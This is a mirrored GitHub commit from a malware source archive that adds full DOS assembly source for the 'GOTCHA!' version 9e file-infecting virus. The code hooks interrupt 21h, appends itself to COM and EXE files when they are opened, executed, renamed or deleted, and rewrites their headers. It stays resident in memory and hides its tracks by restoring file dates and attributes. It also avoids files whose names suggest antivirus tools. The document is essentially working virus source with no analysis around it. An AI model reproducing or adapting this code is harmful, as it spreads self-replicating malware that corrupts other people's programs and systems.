mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
vxunderground
GitHub
@@ -0,0 +1,571 @@
|
||||
;****************************************************************************
|
||||
;* GOTCHA! Version 9e
|
||||
;****************************************************************************
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:nothing
|
||||
|
||||
org 100h
|
||||
|
||||
SIGNLEN equ signend - signature
|
||||
FILELEN equ end - begin
|
||||
RESPAR equ (FILELEN/16) + 17
|
||||
VERSION equ 9
|
||||
BUFLEN equ 20h
|
||||
COMSIGN equ 0
|
||||
EXESIGN equ 1
|
||||
MINTARGET equ 1000
|
||||
MAXTARGET equ -FILELEN
|
||||
|
||||
.RADIX 16
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Start the program!
|
||||
;****************************************************************************
|
||||
|
||||
begin: xor bx,bx
|
||||
call install
|
||||
int 20
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Data
|
||||
;****************************************************************************
|
||||
|
||||
buffer db BUFLEN dup (?)
|
||||
oi21 dw ?,?
|
||||
oldlen dw ?,?
|
||||
nameptr dw ?,?
|
||||
handle dw ?
|
||||
comexe db ?
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* File-extensions
|
||||
;****************************************************************************
|
||||
|
||||
EXE_txt db 'EXE'
|
||||
COM_txt db 'COM'
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 24
|
||||
;****************************************************************************
|
||||
|
||||
ni24: mov al,03
|
||||
iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 21
|
||||
;****************************************************************************
|
||||
|
||||
ni21: pushf
|
||||
|
||||
cmp ax,0DADAh ;install-check ?
|
||||
je do_DADA
|
||||
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
push ax
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
cmp ax,6C00h ;open/create 4.00 ?
|
||||
je do_6C00
|
||||
cmp ah,56h ;rename ?
|
||||
je doit
|
||||
cmp ah,4Eh ;findfirst ?
|
||||
je doit ;(only works without wildcards)
|
||||
cmp ah,4Bh ;load / execute ?
|
||||
je doit
|
||||
cmp ah,43h ;attributes
|
||||
je doit
|
||||
cmp ah,41h ;delete ?
|
||||
je doit ;(it might be un-deleted!)
|
||||
cmp ah,3Dh ;open ?
|
||||
je do_3D
|
||||
|
||||
cmp ah,17h ;FCB-rename?
|
||||
je doFCB
|
||||
cmp ah,13h ;FCB-delete?
|
||||
jne exit
|
||||
|
||||
doFCB: call FCBtoASC ;COMMAND.COM still uses FCB's!
|
||||
|
||||
doit: call infect
|
||||
|
||||
exit: pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop ax
|
||||
pop bx
|
||||
pop cx
|
||||
pop dx
|
||||
popf
|
||||
|
||||
jmp dword ptr cs:[oi21] ;call to old int-handler
|
||||
|
||||
|
||||
do_3D: test al,03h ;only if opened for READING
|
||||
jne exit
|
||||
jmp short doit
|
||||
|
||||
do_6C00: test bl,03h ;idem
|
||||
jne exit
|
||||
mov dx,di ;ptr was DS:DI
|
||||
jmp short doit
|
||||
|
||||
do_DADA: mov ax,0A500h+VERSION ;return a signature
|
||||
popf
|
||||
iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Old Interupt handler 21
|
||||
;****************************************************************************
|
||||
|
||||
org21: pushf
|
||||
call dword ptr cs:[oi21] ;call to old int-handler
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
||||
;****************************************************************************
|
||||
|
||||
infect: cld
|
||||
|
||||
mov cs:[nameptr],dx ;save the ptr to the filename
|
||||
mov cs:[nameptr+2],ds
|
||||
|
||||
mov ah,62h ;get segment-adres of PSP
|
||||
int 21
|
||||
mov ds,bx ;get seg-adres of environment
|
||||
mov ax,ds:002Ch
|
||||
mov ds,ax
|
||||
mov si,0
|
||||
|
||||
envloop: cmp ds:[si],byte ptr 0 ;end of environment?
|
||||
je verder7
|
||||
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset envstring
|
||||
mov bx,0
|
||||
|
||||
scloop: mov al,ds:[si] ;check the current env-item
|
||||
cmpsb
|
||||
je scv1
|
||||
inc bx ;characters don't match!
|
||||
scv1: cmp al,0 ;end of env-item?
|
||||
jne scloop
|
||||
|
||||
cmp bx,0 ;did all characters match?
|
||||
je return
|
||||
jmp short envloop
|
||||
|
||||
verder7: push cs ;check the filename
|
||||
pop ds
|
||||
les di,dword ptr [nameptr]
|
||||
mov dx,di
|
||||
mov cx,80 ;search end of filename (-EXT)
|
||||
mov al,'.'
|
||||
repnz scasb
|
||||
mov bx,di
|
||||
|
||||
std ;find begin of filename
|
||||
mov cl,11
|
||||
mov al,'\'
|
||||
repnz scasb
|
||||
cld
|
||||
je vvv
|
||||
mov di,dx
|
||||
jmp short vvv2
|
||||
vvv: add di,2
|
||||
vvv2: mov al,'V' ;is it V*.* ?
|
||||
scasb
|
||||
je return
|
||||
|
||||
mov cl,7 ;is it *AN*.* ?
|
||||
mov ax,'NA'
|
||||
ANloop: dec di
|
||||
scasw
|
||||
loopnz ANloop
|
||||
je return
|
||||
|
||||
mov si,offset EXE_txt ;is extension 'EXE'?
|
||||
mov di,bx
|
||||
mov cx,3
|
||||
rep cmpsb
|
||||
jnz verder4
|
||||
|
||||
mov byte ptr [comexe],EXESIGN
|
||||
jmp short verder3
|
||||
|
||||
return: ret
|
||||
|
||||
verder4: mov si,offset COM_txt ;is extension 'COM'?
|
||||
mov di,bx
|
||||
mov cx,3
|
||||
rep cmpsb
|
||||
jnz return
|
||||
|
||||
mov byte ptr [comexe],COMSIGN
|
||||
|
||||
verder3: mov ax,3300h ;get ctrl-break flag
|
||||
int 21
|
||||
push dx
|
||||
|
||||
xor dl,dl ;clear the flag
|
||||
mov ax,3301h
|
||||
int 21
|
||||
|
||||
mov ax,3524h ;get int24 vector
|
||||
int 21
|
||||
push bx
|
||||
push es
|
||||
|
||||
push cs ;set int24 vec to new handler
|
||||
pop ds
|
||||
mov dx,offset ni24
|
||||
mov ax,2524h
|
||||
int 21
|
||||
|
||||
lds dx,dword ptr [nameptr] ;get file-attribute
|
||||
mov ax,4300h
|
||||
call org21
|
||||
push cx
|
||||
|
||||
and cx,0F8h ;clear READ-ONLY-flag
|
||||
call setattr
|
||||
jc return1_v
|
||||
|
||||
push cs ;open the file
|
||||
pop ds
|
||||
lds dx,dword ptr [nameptr]
|
||||
mov ax,3D02h
|
||||
int 21
|
||||
jnc verder2
|
||||
return1_v: jmp return1 ;something went wrong... :-(
|
||||
|
||||
verder2: push cs ;save handle
|
||||
pop ds
|
||||
mov [handle],ax
|
||||
|
||||
mov bx,[handle] ;get file date & time
|
||||
mov ax,5700h
|
||||
int 21
|
||||
push cx
|
||||
push dx
|
||||
|
||||
call endptr ;get file-length
|
||||
mov [oldlen],ax
|
||||
mov [oldlen+2],dx
|
||||
|
||||
sub ax,SIGNLEN ;move ptr to end - SIGNLEN
|
||||
sbb dx,0
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
mov al,00h
|
||||
call ptrmov
|
||||
|
||||
mov cx,SIGNLEN ;read the last bytes
|
||||
mov dx,offset buffer
|
||||
call flread
|
||||
jc return2_v
|
||||
|
||||
push cs ;compare bytes with signature
|
||||
pop es
|
||||
mov di,offset buffer
|
||||
mov si,offset signature
|
||||
mov cx,SIGNLEN
|
||||
rep cmpsb
|
||||
jz return2_v
|
||||
|
||||
call beginptr ;read begin of file
|
||||
mov cx,BUFLEN
|
||||
mov dx,offset buffer
|
||||
call flread
|
||||
|
||||
cmp byte ptr [comexe],EXESIGN
|
||||
jz do_exe
|
||||
|
||||
do_com: cmp word ptr [oldlen],MAXTARGET ;check length of file
|
||||
jnb return2
|
||||
cmp word ptr [oldlen],MINTARGET
|
||||
jbe return2
|
||||
|
||||
call writeprog ;write program to end of file
|
||||
jc return2
|
||||
|
||||
mov ax,[oldlen] ;calculate new start-adres
|
||||
add ax,(offset entry - 0103h)
|
||||
mov byte ptr [buffer],0E9h ;'JMP'
|
||||
mov word ptr [buffer+1],ax
|
||||
|
||||
jmp short verder1
|
||||
|
||||
return2_v: jmp short return2
|
||||
|
||||
|
||||
do_exe: call writeprog ;write program to end of file
|
||||
jc return2
|
||||
|
||||
mov ax,[oldlen] ;calculate new length
|
||||
mov dx,[oldlen+2]
|
||||
add ax,FILELEN
|
||||
adc dx,0
|
||||
|
||||
mov cl,9 ;put new length in header
|
||||
shr ax,cl
|
||||
mov cl,7
|
||||
shl dx,cl
|
||||
or ax,dx
|
||||
inc ax
|
||||
mov word ptr [buffer+4],ax
|
||||
mov ax,[oldlen]
|
||||
add ax,FILELEN
|
||||
and ax,01FFh
|
||||
mov word ptr [buffer+2],ax
|
||||
|
||||
mov ax,[oldlen] ;calculate new CS & IP
|
||||
mov dx,[oldlen+2]
|
||||
mov bx,word ptr [buffer+8]
|
||||
push ax
|
||||
mov cl,4
|
||||
shr ax,cl
|
||||
mov cl,0Ch
|
||||
shl dx,cl
|
||||
add ax,dx
|
||||
sub ax,bx
|
||||
mov word ptr [buffer+16h],ax ;put CS in header
|
||||
pop ax
|
||||
and ax,000Fh
|
||||
add ax,(offset entry - 0100h)
|
||||
mov word ptr [buffer+14h],ax ;put IP in header
|
||||
|
||||
verder1: call beginptr ;write new begin of file
|
||||
mov cx,BUFLEN
|
||||
mov dx,offset buffer
|
||||
call flwrite
|
||||
|
||||
return2: mov bx,[handle] ;restore file date & time
|
||||
pop dx
|
||||
pop cx
|
||||
mov ax,5701h
|
||||
int 21
|
||||
|
||||
mov bx,[handle] ;close the file
|
||||
mov ah,3Eh
|
||||
int 21
|
||||
|
||||
return1: pop cx ;restore file-attribute
|
||||
call setattr
|
||||
|
||||
pop ds ;restore int24 vector
|
||||
pop dx
|
||||
mov ax,2524h
|
||||
int 21
|
||||
|
||||
pop dx ;restore ctrl-break flag
|
||||
mov ax,3301h
|
||||
int 21
|
||||
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Gets ASCIIZ-filename from FCB
|
||||
;****************************************************************************
|
||||
|
||||
FCBtoASC: mov si,dx
|
||||
lodsb
|
||||
inc al ;extended FCB?
|
||||
jne normal_FCB
|
||||
add si,7
|
||||
normal_FCB: push cs
|
||||
pop es
|
||||
xor di,di ;adres for ASCIIZ-name
|
||||
mov dx,di
|
||||
mov cx,8
|
||||
FCB_loop: lodsb ;copy all except spaces
|
||||
cmp al,' '
|
||||
je FCB_verder
|
||||
stosb
|
||||
FCB_verder: loop FCB_loop
|
||||
mov al,'.' ;append a '.'
|
||||
stosb
|
||||
mov cl,3 ;and the extension
|
||||
rep movsb
|
||||
xchg ax,cx ;and a final zero.
|
||||
stosb
|
||||
push es
|
||||
pop ds
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Changes file-attributes
|
||||
;****************************************************************************
|
||||
|
||||
setattr: lds dx,dword ptr cs:[nameptr]
|
||||
mov ax,4301h
|
||||
call org21
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Writes program to end of file
|
||||
;****************************************************************************
|
||||
|
||||
writeprog: call endptr
|
||||
mov cx,FILELEN
|
||||
mov dx,offset begin
|
||||
; call flwrite ;Hmm, save a few bytes!
|
||||
; ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Subroutines for reading/writing
|
||||
;****************************************************************************
|
||||
|
||||
flwrite: mov ah,40h
|
||||
jmp short flvrdr
|
||||
|
||||
flread: mov ah,3Fh
|
||||
flvrdr: push cs
|
||||
pop ds
|
||||
mov bx,cs:[handle]
|
||||
int 21
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Subroutines for file-pointer
|
||||
;****************************************************************************
|
||||
|
||||
beginptr: mov al,00h ;go to begin of file
|
||||
jmp short ptrvrdr
|
||||
|
||||
endptr: mov al,02h ;go to end of file
|
||||
ptrvrdr: xor cx,cx
|
||||
xor dx,dx
|
||||
|
||||
ptrmov: mov bx,cs:[handle] ;go somewhere
|
||||
mov ah,42h
|
||||
int 21
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* This is where infected files start
|
||||
;****************************************************************************
|
||||
|
||||
entry: call entry2
|
||||
entry2: pop bx
|
||||
sub bx,offset entry2 ;CS:BX is begin program - 100h
|
||||
|
||||
pushf
|
||||
cld
|
||||
|
||||
cmp byte ptr cs:[bx+offset comexe],COMSIGN
|
||||
jz entryC
|
||||
|
||||
entryE: mov ax,ds ;put old start-adres on stack
|
||||
add ax,10
|
||||
add ax,cs:[bx+offset buffer+016h]
|
||||
push ax
|
||||
push cs:[bx+offset buffer+014h]
|
||||
|
||||
jmp short entcheck
|
||||
|
||||
entryC: mov ax,bx ;restore old file-begin
|
||||
add ax,offset buffer
|
||||
mov si,ax
|
||||
mov di,0100
|
||||
mov cx,BUFLEN
|
||||
rep movsb
|
||||
|
||||
push cs ;put old start-adres on stack
|
||||
mov ax,0100h
|
||||
push ax
|
||||
|
||||
entcheck: mov ax,0DADAh ;already installed?
|
||||
int 21h
|
||||
cmp ah,0A5h
|
||||
je entstop
|
||||
|
||||
call install ;install the program
|
||||
|
||||
entstop: iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Install the program at top of memory
|
||||
;****************************************************************************
|
||||
|
||||
install: push ds
|
||||
push es
|
||||
|
||||
xor ax,ax ;get original int21 vector
|
||||
mov es,ax
|
||||
mov cx,word ptr es:0084h
|
||||
mov dx,word ptr es:0086h
|
||||
mov cs:[bx+offset oi21],cx
|
||||
mov cs:[bx+offset oi21+2],dx
|
||||
|
||||
mov ax,ds ;adjust memory-size
|
||||
dec ax
|
||||
mov es,ax
|
||||
cmp byte ptr es:[0000h],5Ah
|
||||
jnz cancel
|
||||
mov ax,es:[0003h]
|
||||
sub ax,RESPAR
|
||||
jb cancel
|
||||
mov es:[0003h],ax
|
||||
sub es:[0012h], word ptr RESPAR
|
||||
|
||||
push cs ;copy program to top
|
||||
pop ds
|
||||
mov es,es:[0012h]
|
||||
mov ax,bx
|
||||
add ax,0100
|
||||
mov si,ax
|
||||
mov di,0100h
|
||||
mov cx,FILELEN
|
||||
rep movsb
|
||||
|
||||
mov dx,offset ni21 ;set vector to new handler
|
||||
push es
|
||||
pop ds
|
||||
mov ax,2521h
|
||||
int 21h
|
||||
|
||||
cancel: pop es
|
||||
pop ds
|
||||
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Text and Signature
|
||||
;****************************************************************************
|
||||
|
||||
envstring: db 'E=mcý',0 ;put this in your environment!
|
||||
|
||||
signature: db 'GOTCHA!',0 ;I have got you! :-)
|
||||
signend:
|
||||
|
||||
|
||||
|
||||
end:
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
Reference in New Issue
Block a user